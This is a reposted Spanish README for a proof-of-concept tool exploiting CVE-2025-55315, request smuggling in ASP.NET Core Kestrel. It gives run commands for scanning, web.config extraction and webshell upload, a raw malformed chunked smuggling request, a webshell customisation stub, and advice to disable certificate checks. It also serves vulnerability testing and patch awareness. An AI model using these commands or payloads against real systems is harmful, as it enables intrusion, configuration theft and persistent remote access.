Sploitus

CVE-2025-55315-PoC-Exploit

kitploit · 2026-09-07

Exploit Code

MARKDOWN610 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZEMARKHOS-CVE-2025-55315-POC-EXPLOIT
# Herramienta de Pentest CVE-2025-55315

**Herramienta de explotación de contrabando de solicitudes HTTP para ASP.NET Core Kestrel**

![Python Version](https://img.shields.io/badge/python-3.7+-blue.svg) ![CVE](https://img.shields.io/badge/CVE-2025--55315-red.svg) ![CVSS](https://img.shields.io/badge/CVSS-9.9-critical.svg) ![License](https://img.shields.io/badge/license-Educational%20Use-yellow.svg)

* * *

## ⚠️ ADVERTENCIA LEGAL

**¡ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS!**

  * Úsela SOLO en sistemas que posea o para los que tenga autorización explícita por escrito para probar
  * El acceso no autorizado a sistemas informáticos es **ILEGAL**
  * El creador de la herramienta NO es responsable del mal uso
  * Al usar esta herramienta, usted acepta toda la responsabilidad legal



* * *

## 📋 Resumen

Herramienta profesional de pruebas de penetración para **CVE-2025-55315** (vulnerabilidad de contrabando de solicitudes HTTP en ASP.NET Core Kestrel). Esta herramienta está diseñada para el análisis de un único objetivo con capacidades integrales de explotación.

### ¿Qué es CVE-2025-55315?

Una vulnerabilidad **crítica** de contrabando de solicitudes HTTP en el servidor web ASP.NET Core Kestrel (CVSS 9.9/10) que permite a los atacantes:

  * Evadir la autenticación
  * Robar credenciales y tokens de sesión
  * Realizar falsificación de solicitudes del lado del servidor (SSRF)
  * Envenenar cachés
  * Subir webshells y obtener ejecución remota de código



**Versiones afectadas:**

  * .NET Core 3.0 hasta .NET 9.0.9
  * Corregido en: .NET 8.0.21+, 9.0.10+, 10.0.0-rc2+



* * *

## ✨ Características

### Capacidades principales

  * ✅ **Análisis de un solo objetivo** \- Pruebas de penetración enfocadas en un objetivo específico
  * ✅ **Descubrimiento automático de endpoints** \- Descubre endpoints comunes de ASP.NET Core
  * ✅ **Pruebas manuales de endpoints** \- Prueba endpoints específicos de interés
  * ✅ **Detección de vulnerabilidades** \- Detección precisa de CVE-2025-55315
  * ✅ **Extracción de web.config** \- Lee archivos de configuración mediante contrabando de solicitudes
  * ✅ **Carga de Webshell** \- Capacidad opcional de implementación de webshell
  * ✅ **Informes detallados** \- Informes en formato JSON y texto
  * ✅ **Funciones de seguridad** \- Múltiples avisos de confirmación para acciones destructivas



### Características técnicas

  * Compatibilidad con HTTP/1.1 y HTTPS
  * Compatibilidad con puertos personalizados
  * Tiempos de espera configurables
  * Modo de depuración detallado (verbose)
  * Salida de terminal con códigos de color
  * Omisión de la validación de certificados SSL (para pruebas)



* * *

## 🔧 Instalación

### Requisitos

root@kitploit:~
    
    
    # Python 3.7 or higher
    python3 --version
    
    # No external dependencies - uses only standard library
    

### Descarga

root@kitploit:~
    
    
    # Clone or download the tool
    git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
    cd CVE-2025-55315-PoC-Exploit
    
    # Make executable
    chmod +x cve_2025_55315_PoC.py
    

* * *

## 🚀 Inicio rápido

### Escaneo básico de vulnerabilidades

root@kitploit:~
    
    
    python3 cve_2025_55315_PoC.py -t target.com
    

Esto:

  1. Recopilará información del servidor
  2. Descubrirá automáticamente los endpoints activos
  3. Probará cada endpoint para detectar CVE-2025-55315
  4. Mostrará los resultados en la terminal



### Probar un endpoint específico

root@kitploit:~
    
    
    python3 cve_2025_55315_PoC.py -t target.com -e /api/login
    

### Escaneo completo con extracción de web.config

root@kitploit:~
    
    
    python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt
    

### Avanzado: Explotación completa (¡Solo autorizado!)

root@kitploit:~
    
    
    python3 cve_2025_55315_PoC.py \
      -t target.com \
      --read-config \
      --upload-shell \
      -v \
      -o full_report.txt
    

* * *

## 📖 Ejemplos de uso

### Ejemplo 1: Verificación rápida

**Escenario:** Comprobar si el servidor de producción es vulnerable

root@kitploit:~
    
    
    python3 cve_2025_55315_PoC.py -t api.mycompany.com
    

**Duración esperada:** 30-60 segundos

* * *

### Ejemplo 2: Escaneo detallado

**Escenario:** Escaneo integral de endpoints con salida detallada (verbose)

root@kitploit:~
    
    
    python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt
    

**Duración esperada:** 2-5 minutos

* * *

### Ejemplo 3: Apuntar a múltiples endpoints

**Escenario:** Probar endpoints críticos específicos

root@kitploit:~
    
    
    python3 cve_2025_55315_PoC.py \
      -t api.mycompany.com \
      -e /api/payment/process \
      -e /api/admin/users \
      -e /api/internal/config \
      -o critical_endpoints.txt
    

* * *

### Ejemplo 4: Objetivo sin SSL

**Escenario:** Probar un servidor HTTP interno

root@kitploit:~
    
    
    python3 cve_2025_55315_PoC.py \
      -t internal-api.local \
      -p 8080 \
      --no-ssl
    

* * *

## 📊 Opciones de línea de comandos

root@kitploit:~
    
    
    usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
                                      [--no-ssl] [--read-config] [--upload-shell]
                                      [-o OUTPUT] [-v] [--timeout TIMEOUT]
    
    Required Arguments:
      -t, --target         Target hostname or URL (e.g., target.com)
    
    Optional Arguments:
      -p, --port           Port number (default: 443 for SSL, 80 for non-SSL)
      -e, --endpoint       Specific endpoint(s) to test (can be used multiple times)
      --no-ssl             Disable SSL/HTTPS (use HTTP)
      --read-config        Attempt to read web.config file
      --upload-shell       Attempt webshell upload (requires confirmation)
      -o, --output         Save report to file
      -v, --verbose        Enable verbose output
      --timeout            Socket timeout in seconds (default: 10)
      -h, --help           Show help message
    

* * *

## 🔍 Comprendiendo la salida

### Ejemplo de sistema vulnerable

root@kitploit:~
    
    
    Target: old-api.company.com:443
    Vulnerable: YES - CRITICAL
    
    --- Server Information ---
      server: Kestrel/8.0.15
      kestrel_detected: True
      http_version: 1.1
    
    --- VULNERABLE ENDPOINTS (2) ---
      ✗ /api/login
        Details: Request smuggling successful - multiple responses
      ✗ /api/health
        Details: Request smuggling successful - multiple responses
    
    --- SUCCESSFUL EXPLOITS ---
      ✓ web.config_read via /api/login
    

**Interpretación:**

  * 🔴 **VULNERABILIDAD CRÍTICA DETECTADA**
  * 🔴 Múltiples endpoints son vulnerables
  * 🔴 El archivo de configuración se extrajo correctamente
  * ⚡ **URGENTE:** Actualice a .NET 8.0.21+ o 9.0.10+



* * *

### Ejemplo de sistema seguro

root@kitploit:~
    
    
    Target: new-api.company.com:443
    Vulnerable: NO - SECURE
    
    --- Server Information ---
      server: Kestrel/9.0.10
      kestrel_detected: True
      http_version: 1.1
    
    [SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)
    
    ✓ No vulnerable endpoints found - target may be patched
    

**Interpretación:**

  * ✅ **EL SISTEMA ES SEGURO**
  * ✅ Ejecuta una versión de Kestrel parcheada
  * ✅ Todas las solicitudes malformadas fueron rechazadas



* * *

## 🛡️ Seguridad y ética

### Lista de verificación de autorización

Antes de ejecutar esta herramienta, asegúrese de:

  * Posee el sistema objetivo, O
  * Tiene autorización **por escrito** para realizar la prueba, Y
  * El equipo de seguridad ha sido notificado, Y
  * Tiene un plan de reversión, Y
  * Comprende las implicaciones legales



### Funciones de seguridad integradas

  1. **Confirmación en dos etapas** \- La herramienta solicita autorización antes de comenzar
  2. **Confirmación de carga de webshell** \- Requiere escribir "YES" en mayúsculas
  3. **Limitación de velocidad** \- Retrasos entre solicitudes durante el descubrimiento automático
  4. **Protección de tiempo de espera** \- Evita conexiones colgadas
  5. **Registro detallado** \- Todas las acciones se registran para la pista de auditoría



* * *

## 🔬 Detalles técnicos

### Técnica de explotación

La herramienta explota CVE-2025-55315 mediante una codificación de transferencia fragmentada (chunked) malformada:

root@kitploit:~
    
    
    POST /endpoint HTTP/1.1
    Host: target.com
    Transfer-Encoding: chunked
    
    2;\n          ← VULNERABILITY: Lone \n instead of \r\n
    XX
    0\r\n
    \r\n
    GET /smuggled HTTP/1.1    ← This becomes a separate request
    Host: target.com
    

**Por qué funciona esto:**

  1. **El servidor proxy** ve `\n` como terminador de línea → lo procesa como una sola solicitud
  2. **Kestrel (vulnerable)** ignora `\n` → trata el GET contrabandeado como una solicitud separada
  3. La solicitud contrabandeada puede ejecutarse en el contexto de sesión de otro usuario



### Lógica de detección

Server Response| Interpretation| Status  
---|---|---  
`400 Bad Request`| Kestrel rejected malformed chunk| ✅ Secure (patched)  
Multiple `HTTP/1.1`| Two separate responses received| ❌ Vulnerable  
`500` or `502`| Internal server error| ⚠️ Likely vulnerable  
Normal `200 OK`| Request accepted| ⚠️ Inconclusive  
  
* * *

## 🐛 Solución de problemas

### Error de conexión

root@kitploit:~
    
    
    [ERROR] Connection failed: [Errno 111] Connection refused
    

**Soluciones:**

  * Verifique que el objetivo sea accesible: `ping target.com`
  * Compruebe que el número de puerto sea correcto
  * Pruebe con/sin SSL: `--no-ssl`
  * Compruebe las reglas del firewall



* * *

### Error de certificado SSL

root@kitploit:~
    
    
    [ERROR] Connection failed: certificate verify failed
    

**Solución:**

La herramienta ya desactiva la verificación de certificados. Si el problema persiste:

root@kitploit:~
    
    
    export PYTHONHTTPSVERIFY=0
    python3 cve_2025_55315_PoC.py -t target.com
    

* * *

### Errores de tiempo de espera

root@kitploit:~
    
    
    [WARNING] No response - possible timeout
    

**Soluciones:**

  * Aumente el tiempo de espera: `--timeout 30`
  * Compruebe la conectividad de red
  * El objetivo puede estar lento o sobrecargado



* * *

### Carga bloqueada

root@kitploit:~
    
    
    [WARNING] Upload blocked (forbidden/method not allowed)
    

**Explicación:**

  * La configuración del servidor bloquea los métodos PUT/POST
  * El WAF/IPS está bloqueando la carga
  * Los permisos de archivos impiden la escritura



Esto es normal: no todos los sistemas vulnerables permiten la carga de archivos.

* * *

## 📚 Referencias

### Recursos sobre CVE-2025-55315

  1. **Aviso de seguridad de Microsoft:** https://github.com/dotnet/aspnetcore/issues/64033

  2. **Base de datos NVD:** https://nvd.nist.gov/vuln/detail/CVE-2025-55315

  3. **Investigación de Praetorian (recompensa de $10k por bug):** https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/

  4. **Análisis técnico de Andrew Lock:** https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/




### Contrabando de solicitudes HTTP

  5. **Investigación de PortSwigger:** https://portswigger.net/web-security/request-smuggling

  6. **OWASP:** https://owasp.org/www-community/attacks/HTTP_Request_Smuggling




* * *

## 🔄 Personalización

### Añadir endpoints personalizados

Edite `COMMON_ENDPOINTS` en el script:

root@kitploit:~
    
    
    COMMON_ENDPOINTS = [
        '/your/custom/endpoint',
        '/api/myapp/admin',
        # Add your endpoints here
    ]
    

### Usar una webshell personalizada

Modifique el método `upload_webshell()`:

root@kitploit:~
    
    
    def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
                       shell_content: str = None):
        if not shell_content:
            shell_content = '''
            <!-- Your custom ASPX webshell here -->
            '''
    

* * *

## 📝 Informar de problemas

Si encuentra errores o tiene sugerencias:

  1. Ejecute con el modo detallado: `-v`
  2. Guarde la salida completa: `-o debug.txt`
  3. Incluya: 
     * Versión de Python
     * Comando utilizado
     * Mensaje de error
     * Comportamiento esperado frente al real



* * *

## ⚖️ Descargo de responsabilidad legal

root@kitploit:~
    
    
    THIS TOOL IS PROVIDED "AS IS" FOR EDUCATIONAL AND AUTHORIZED
    SECURITY TESTING PURPOSES ONLY.
    
    THE AUTHOR(S):
    ❌ Do NOT endorse illegal activities
    ❌ Are NOT responsible for misuse
    ❌ Are NOT liable for any damages
    ❌ Do NOT provide legal advice
    
    BY USING THIS TOOL YOU AGREE:
    ✅ To use only on authorized systems
    ✅ To accept full legal responsibility
    ✅ To comply with all applicable laws
    ✅ To follow ethical hacking principles
    
    UNAUTHORIZED USE IS STRICTLY PROHIBITED AND ILLEGAL!
    

* * *

## 🎓 Propósito educativo

Esta herramienta fue creada para:

  * Investigadores de seguridad
  * Probadores de penetración
  * Cazadores de recompensas por bugs
  * Administradores de sistemas
  * Formación en concienciación sobre seguridad
  * Evaluaciones de seguridad autorizadas



**NO para:**

  * Ataques maliciosos
  * Acceso no autorizado
  * Reconocimiento competitivo
  * Cualquier actividad ilegal



* * *

## 🙏 Agradecimientos

  * **Centro de respuesta de seguridad de Microsoft** \- Por la divulgación del CVE y los parches
  * **Praetorian Security** \- Por la investigación original de la vulnerabilidad
  * **Andrew Lock** \- Por el análisis técnico detallado
  * **Comunidad de seguridad** \- Por las prácticas de divulgación responsable



* * *

## 📄 Licencia

**Solo para pruebas de seguridad educativas y autorizadas**

Esta herramienta se proporciona con fines educativos y para pruebas de seguridad autorizadas. El uso comercial, la redistribución o el uso con fines maliciosos están estrictamente prohibidos.

* * *

## 🔐 Advertencia final

root@kitploit:~
    
    
    ╔═════════════════════════════════════════════════════════════╗
    ║                                                             ║
    ║  USE THIS TOOL RESPONSIBLY AND LEGALLY!                     ║
    ║                                                             ║
    ║  Unauthorized access to computer systems is a CRIME.        ║
    ║  Always obtain written permission before testing.           ║
    ║  Follow responsible disclosure practices.                   ║
    ║                                                             ║
    ║  Happy (Legal) Hacking!                                     ║
    ║                                                             ║
    ╚═════════════════════════════════════════════════════════════╝